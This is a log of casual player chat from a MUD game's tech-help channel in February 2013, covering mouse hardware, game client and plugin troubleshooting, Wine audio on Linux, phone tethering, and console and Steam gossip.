T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Why not personalise via dynamism?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: because a helpfile should be universally-correct
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Why?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ranrr Tech: costs cpu and io
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: it shouldn't tell this character one thing and my other character another thing
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: I have character-based commands for character-specific information
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Pretty obvious what is personalised and what isn't
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: it's a helpfile because not everyone knows about the obvious
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Do hunters equip bows as wielded weapons, or is there a bow slot like arrows?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Dabbil Tech: wielded, no special slot that I know of
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: can be wielded or second
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Hrm. Got wearable nailed except for 28 and 29 - I assume 1 is arrows, not sure on the other
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: if your mouse seems to double click on a single click sometimes, is that a sign that it's starting to spoil?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Leonassan Tech: I usually take that as a sign it's time for a new mouse.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Mushambo Tech: WIreless or wired?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: wired
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: i was overseas for several months, came back and got a new pc/changed OS, and only noticed the weird behaviour then
T3/r7/2013-02-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: i've never had that happen on a mouse ever
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: it might be a driver issue, but it doesn't seem very consistent
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Cody Tech: just before buying a new one, rip your buttons off and see if you can clean them and put them back on, but not all buttons come off of the mouse, so it might break it...
T3/r7/2013-02-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: failure mode for buttons is always that clicks don't register, not that you get too many
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: googling suggests that it can be because contacts register 2x when you click down and again when letting go
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Leonassan Tech: My mouse  has the integrated buttons that are part of the rest of the mouse, so when I start getting double clicks it usually means the plastic is bent far enough down that I'm getting phantom clicks
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: think opening the mouse and cleaning it would help?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Leonassan Tech: Probably
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Cody Tech: i had a buddy break one tho, so careful
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Sonshi Tech: if you buy cheap ones like I do, it might not be worth cleaning them... of course, maybe the reason why mine last only a few years before this starts happening to them is because I only buy cheap ones...
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Ranrr Tech: A good mouse costs 40-50 euro at least.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Sonshi Tech: the ones I buy cost less than 10USD
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Cody Tech: thrift shop all the way, 99cents
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zade Tech: the metal in the switch or the plastic pusher or both are wearing thin
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Sonshi Tech: I'm too lazy to go shop for these things, so it's all amazon...
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Ranrr Tech: My mouse and keyboard costs more than some people's entire computer. I'm fuzzy about these things.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Vakieh Tech: My issue is I have giant manhands... all these pissant little mice barely fit under 2 of my fingers, let alone my whole hand :-P
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Vakieh Tech: The Logitech G500 is passable in that regard, though the thumb buttons actuate when I don't want them to :-(
T3/r7/2013-02-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the logitech M518 was the best mouse ever made
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Mokg Tech: ^ what im still using
T3/r7/2013-02-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: though you could also get a G5
T3/r7/2013-02-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but the G5 is a lot more expensive
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zade Tech: i prefer to purchase inexpensive ($15 or less) optical three-button mouses -- if you pay a lot more, they may breakdown sooner (microsoft attitude: if the customer is willing to pay more, screw the customer sooner)
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Mokg Tech: I've had mine for 8 years or so
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Daloran Tech: Thats why you don't buy mice from microsoft =p
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Ranrr Tech: more expensive stuff breaks sooner? That's a nice business idea.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zade Tech: you are paying for the designer label
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Vakieh Tech: Can't see the g5, only the g500... is it still produced?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Mokg Tech: had a friend who upgaded his mx518 to a g500. hated it and went back to the 518
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: i was contemplating g500 if i was gonna replace my mouse
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Tech: Redryn goes, "Heh."
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Daloran Tech: really? I love my g500.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Ranrr Tech: Not always, Zade. Sometimes cheap stuff is just junk.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Mokg Tech: he wrote something about it recently, lemme dig it up
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Ranrr Tech: And sometimes expensive stuff has higher quality.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Vakieh Tech: Redryn, g500 is really nice, but depending on your grip you might need to disable the thumb buttons - one is defaulted to browser back button... was very annoying
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: can't you change it to do something else?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Ranrr Tech: E.g. my das keyboard compared to a cheap junk membrane keyboard
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Daloran Tech: or you know. learn to grip properly =p
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Cody Tech: ya some people always put too much peasure on it tho
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Vakieh Tech: Well sure, but could be something else... that I accidentally activate all the time :-P
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: heh
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: stop gripping your mouse too tightly? :p
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Mokg Tech: theres no place for your thumb to rest like on the 518?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Vakieh Tech: Under certain circumstances I do deathgrip it :D but it is when I have a loose grip that my thumb slides up to the button
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: I thought that's what the internet was for...
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: http://www.productwiki.com/upload/images/logitech_gaming_mouse_g500.jpg
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: it looks like the 518 anyway
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Mokg Tech: bit different
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: in terms of the side grip
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zade Tech: some companies with the fancy looking mouse, produce those mouses for "business" use, not for gaming use -- so under normal business "executive" use, the mouse is hardly used at all, and lasts for years -- intensive gaming is unusual "mouse abuse", and if the mouse breaks down, the rich executive is able to afford another mouse, or another computer (executive computers are "supposed" to be totally replaced with a newer model every year - and thus never break down)
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zade Tech: (you poorer schmucks using the computer for games don't count)
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Daloran Tech: Fwiw, Logitech has amazing warranty service.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zade Tech: also those tiny mouse switches may only be clicked so many times before they wear out
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zade Tech: when Logitech makes production mistakes, they yet ship the slightly defective equipment out, and the product is sold at a slight discount 
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Daloran Tech: So they're like every company ever? =p well. Not every one. but come on now.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Vakieh Tech: Now I'm looking, the RAT 7 looks pretty nice - anyone used it?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no, it looks like a joke
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Redryn Tech: i kinda ruled it out based on aesthetics alone :p
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Cody Tech: how do i get basts eq manager plugin window to open back up, i forgot how to fix it/re open it
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Vesuviou Tech: how do I turn off the cpmmunication log window? 
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I usually do 1m for basic, 1 tp if they get it really nice.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: mis
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zaereth Tech: So I have a new phone after the last one broke. the galaxy s3 is the one I'm on now, but I can't seem to play the game correctly now. the screen constantly scrolls when I press off the keyboard, so it doesn't respond when I press a button, nor will it let me add new buttons to the screen.. any help?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Nocilis Tech: change the fullscreen option under menu->options->window
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Ankier Tech: test
T3/r7/2013-02-06.txt.gz:{chan ch=tech}ElFeneri Tech: fail
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Tech: Mendaloth breathes, "Rawr," into Ankier's ear. HAWT!
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Bast Tech: Zaereth: type .togglefullscreen
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zaereth Tech: thanks, looks like keeping fullscreen off is the trick
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Nocilis Tech: that only does stuff for android versions less than 3.0
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Bast Tech: it works fine on my 4.1.1 S3 in blowtorch
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Nocilis Tech: wierd, i have a galaxy nexus and a xoom and it does nothing for me
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Nocilis Tech: does the s3 have hardware system buttons?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Bast Tech: just one home button, the menu and back buttons are part of the touchscreen
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Bast.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Of course, has the hardware volume/power buttons.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zaereth Tech: yeah I'm not sure why it happened, I can say with certainty that I had nor changed any settings. I simply loaded the game after the update a few days ago and the screen wasn't working correctly. 
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Nocilis Tech: it is a bug in the client, sometimes how it interrogates the operating system if there is a notification bar fails and gets a false positive
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zaereth Tech: my keyboard on my new phone takes up so much space on the screen I cant really use it on horizontal view, and it takes quite a lot on vertical as well. is there anything I can do about this on the galaxy s3?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Ixle Tech: I got a transparent keyboard
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Laughing Airmeith Tech: root your phone and install your own rom and pick a smaller keyboard?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Laughing Airmeith Tech: or pick up a bluetooth keyboard you can use with your phone
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Ixle Tech: Plenty of transparent keyboard apps for download without rooting :p
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zaereth Tech: heh I lack the skills to do that. 
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Ixle Tech: Bluetooth is also a nice option. Much better if you can afford it.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Zaereth Tech: maybe soon. I'll look into transparent options. any that use slide? 
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Ixle Tech: I found I didn't use the bluetooth kb as much as I thought I would though.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Gnarcyon Tech: anyone here ever purchased LED's? If i order a 10mm LED, is it actually 10mm wide? seems huge
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Gnarcyon Tech: the sizes i see are 10mm, 8mm, 5mm, 3mm
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Tharnin Tech: http://www.ladyada.net/images/arduino/LEDs/ledsizes.jpg Not that big. The bottom one is 10mm.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}RightOn Rithlin Tech: Yes that is the actuall size of the bulb.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Sakata Tech: Psst!
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Sakata Tech: I has a aardmush question.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Sakata Tech: I wanna use mapper portals but my alt doesnt have the portals.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Sakata Tech: So if I save a seperate world would it still use the same mapper? but not the portals?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Sakata Tech: I'm still exploring my map so I'm not sure how to go about working with all my portals.
T3/r7/2013-02-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: the portals and rooms are stored in the same file, so no
T3/r7/2013-02-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you could create a new world, make a copy of the database (Aardwolf.db), rename it to your new world name, then delete all the portals
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Enchantra Tech: Anyone availible to help me make a small mush client script?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Cody Tech: bast u there, cuz that didnt work, mneq eq show    and mneq eq front  did not bring up the window for eq
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Cody Tech: hehe i reloaded the plugin and now that worked
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Cody Tech: thanks
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Mushambo Tech: Any ideas on how/why none of my browsers will play any audio? Yet anything locally stored sounds great
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Mushambo Tech: I've cleared caches in all of them, updated to the latest Flash
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Laughing Airmeith Tech: device settings?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Mixer options in Sound settings have browsers muted?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Mushambo Tech: Nope that looked fine
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Hanslanda Tech: are the poker game announcements on gmcp?
T3/r7/2013-02-06.txt.gz:{chan ch=tech}Tech: looks like no
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Shadowraptor Tech: anyone know what to do when their mapper goes out?  I had to update mush to get another plugin to work... and now with the update my mapper won't work.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Cool. Edge Online is reporting that their anonymous sources say the new XBox will not support used games. Once you buy it, you own it for life. The system will require an always-on internet connection. Disc-based releases will come on a 50GB Blu-ray disc.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Rusk Tech: that sucks....
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Book of Etzli Tech: That kind of destroys any yearning I had for purchasing a new XBox.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: That guarantees I'll never buy one
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Unless their games come insanely cheap (as in... $5, you own for life), I see no reason to dump thousands of dollars into a system I can't play used games on.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Rusk Tech: and if your system blows up...you cant use those games on a new one either. gotta replace em all
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Daloran Tech: Rusk.. I'd think they'd do something like Steam where they're attatched to your XBL profile
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Rusk Tech: steam sucks too...
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Mokg Tech: steam is amazing
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Daloran Tech: Seconding Amazing. It has it's problems - but what doesn't.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Rusk Tech: on a slow internet connection its a pain in the ass that has made me decide not to get anymore steam based games
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I love Steam for that--I've put my games on about 6 different installs over the years
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Mokg Tech: I have 10 year old games on it. think I have the cd's from 10 year old games?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Microsoft is leaning towards digital content, to be honest.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tech: Laughing Airmeith nods at Mokg.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I know I don't.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yeah, and I think that sucks, Etzli.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Mokg Tech: its more green friendly
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Krache Tech: I hate digital content, would always rather have in an external format
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Zade Tech: ah, if by "life", they mean "not you" but the "xbox", bad deal 
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Mokg Tech: games going from those huge boxes to little ones save millions of acres of forest. getting rid of them completely is just furthering that
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Krache Tech: They should atleast offer an option to save the file or whatever to your own person external hard drive or something...
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: They're talking about making Win 9 not allow you to install any apps that didn't come from Microsoft's app store. Even Apple's not quite that dumb.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Zade Tech: but an internet account is at least $600 per year for "life" -- big overhead
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Rusk Tech: and then its hackable too
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: Good internet, yes...but most of us are already going to have internet ANYWAY.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Invest in a mobile phone which can share Internet, and your prepaid Internet can be used on a laptop too.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Zade Tech: if i didn't play this mud, i wouldn't require the internet at all
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Daloran Tech: Trurien, thats not a viable option, especially for games.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Depends on what games. I don't usually bother with most games.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I'd still have the net for my email, my website, Skyping with my family who are all 800+ miles away, and my other games.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Daloran Tech: Most games, Trurien. Most games.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Sit like a Trurien Tech: For doing work, pushing/pulling from git, Aard and social stuff, that's fine.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Zade Tech: wasting your life playing internet games -- gets tedious after a decade
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Mokg Tech: talking about wasting your life playing internet games while playing an internet game?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Rusk Tech: obviously he isnt playing it
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tech: Rusk looks around and whistles innocently.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: then again, being disabled, I have far more time than money...and yes, Zade, it does. I DO do other things, but on days when my health won't let me be active, my computer is my entertainment. Netflix, talking with friends, ebooks, games, photo editing...
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Zade Tech: "Where did your life go." - "Spent a lot sitting in a room somewhere typing at a keyboard -- almost like work, but not getting paid."
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I can't really avoid some of that, Zade.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: It's that or go stir-crazy from boredom
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Zade Tech: Netflix is like watching old movies and paying $8 a month on top of the access method
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: it'd cost me more than that monthly to rent from redbox
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Mokg Tech: damn, 8 whole dollars
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Zade Tech: i'd prefer to pay $8 and get the actual DVD of a decent movie - replay is free after the initial purchase
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Book of Etzli Tech: I love my job, sitting at home, typing on a keyboard, and getting paid. :D
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Mokg Tech: I prefer getting it all for free thanks to my internet connection
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Book of Etzli Tech: If I truly wanted to, I could work 24 hours... and get paid every bit of it... But I'm not that insane yet.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Sit like a Trurien Tech: You could work 24 hours in a week, that would also be quite insane...
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: my entire entertainment budget for a month is $80. $50 of that is internet, $8 is Netflix. The other $22 let me go out to eat once or twice a month, depending on where.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Laughing Airmeith Tech: Where else am I going to manage to get as much entertainment for that little?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Kelvar Tech: anyone on linux and mush and has a few minutes for a few tells?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Cizra Tech: I used to be. Dumped MUSHclient, though.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Cizra Tech: I still remember it well, so shoot thy questions.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Daloran Tech: You're better off just asking here, Kelvar
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Kelvar Tech: hmm ok...the  thing is, Im on ubuntu and running mush through wine, but if i run mush first, any other app i run after that that uses the sc is "deaf" after that
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Kelvar Tech: so i have to run the audio/video app first, then mush to be able to hear/see audio/video
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Cizra Tech: What's your Wine audio output driver?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Kelvar Tech: no idea how to check that
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Cizra Tech: run "winecfg", click on Audio tab
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Cizra Tech: It should be set to Pulseaudio or Alsa, if there's such an option.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Kelvar Tech: hmm, tried 3 different options under audio in wine, and same thing every time... like wine steals complete audio device and rest apps that use audio dont work
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Kelvar Tech: any ideas anyone?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}LordofFate Tech: is there a way I can use my blackberry to go onto the internet with my laptop?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}LordofFate Tech: any technically briliant person willing to help a newb set up something for BB?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: If it ain't the BB10, throw it away :P
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That's all the help I can offer :P
T3/r7/2013-02-07.txt.gz:{chan ch=tech}LordofFate Tech: its the blackberry 9320 curve
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What do you need setup? I can't guarantee I can help, but I can promise I wont' be able to without more info.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}LordofFate Tech: I got a program called tether for my phone so I can use it as a modem for my laptop, but it says I need to set up my apn, which I'm unsure how to do
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I wasn't aware BB's could tether tbh
T3/r7/2013-02-07.txt.gz:{chan ch=tech}LordofFate Tech: been on the web but every site I try says "bad ateway"
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: http://support.thycotic.com/KB/a174/apn-error-on-blackberry.aspx
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: While that's not directly related to your issue, the site linked has some APN settings you can tryu.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: try*
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Monsttro Tech: on android client my aliases arent working... help?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: hey, i have a HTC with android and windows its touchscreen,what would be better ,mushclient or blowtorch
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Nocilis Tech: hiw does it do windows?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: MC, assuming you have the screen realestate for it.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Leinei Tech: Assuming it's full windows, MUSH
T3/r7/2013-02-07.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: it runs a type of windows the whole formate of the phone works like a  windows and has mobleword,excel,
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Nocilis Tech: what phone is it?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: old htc ,not sure what type
T3/r7/2013-02-07.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: well tomorrow im getting mb and then going to go get aard on my internet explore built in or should i do it throught the java
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Leinei Tech: If it's some type of windows mobile, you probably can't just run any old windows app on it.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Leinei Tech: unless it has windows 8
T3/r7/2013-02-07.txt.gz:{chan ch=tech}TrEz Tech: so I got wifi extender, it says it's linked
T3/r7/2013-02-07.txt.gz:{chan ch=tech}TrEz Tech: but my devices seem to be connecting to the router and not to it
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Leonassan Tech: The router's got a hotter ass.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Arrowfire Tech: how i can make the letters on my client bigger??
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Arrowfire Tech: i am using MUSHclient
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Dresory Tech: go to file - world properties - then output (or one of the others) should have a font size option
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Idiota Tech: can anyone help me update my room database?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Idiota Tech: working on setting up aard on a new machine...
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Cody Tech: whats your main characters name?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Thunderax Tech: anyone know of a script which helps you prac stuff after each remort?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tigernuts Tech: bloody hauppage, i'd never buy another device from them
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Elkore Tech: my aardmush just went monochrome and white text on white background on the command line!
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Hanslanda Tech: bobthegreat basically, yeah, but possible alternatives to disabling are to just couch what the trigger does now in the appropriate code-block of your conditional: if variable=false then do what the trigger already does now else do nothing.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Calga Tech: hey guys
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish stretches luxuriously.  Kinda makes you want to doesn't it? 
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Vakieh Tech: Duckbat down for anyone else?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}HelperMan Hadar Tech: isup.me
T3/r7/2013-02-07.txt.gz:{chan ch=tech}RedRain Tech: up for me
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at HelperMan Hadar.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Vakieh Tech: Which checks the server is up, not the application
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Vakieh Tech: And is usually irrelevant
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Book of Etzli Tech: up for me. *shrug*
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Book of Etzli Tech: You should probably be more specific. "Duckbat down for anyone else?" is not the same as "Is Duckbat's searches down for anyone else?"
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Vakieh Tech: Pretty obvious what is meant by 'down'
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Book of Etzli Tech: No, because the site is up, not down. The searches seem to not be working. :)
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Vakieh Tech: Never said the site. Said 'duckbat' which is the application. If the searches are not working, then the application is down
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Ambiguity is not your friend. :P
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Book of Etzli Tech: By the way, it's not down, just slow. Came up for me.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Doink Tech: My S&D GUI was dragged as small as possible, so now I cant grab the corner to open it back up. Any ideas?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tech: don't do that
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tech: try xset reset gui
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Vakieh Tech: Can edit the state file if you want
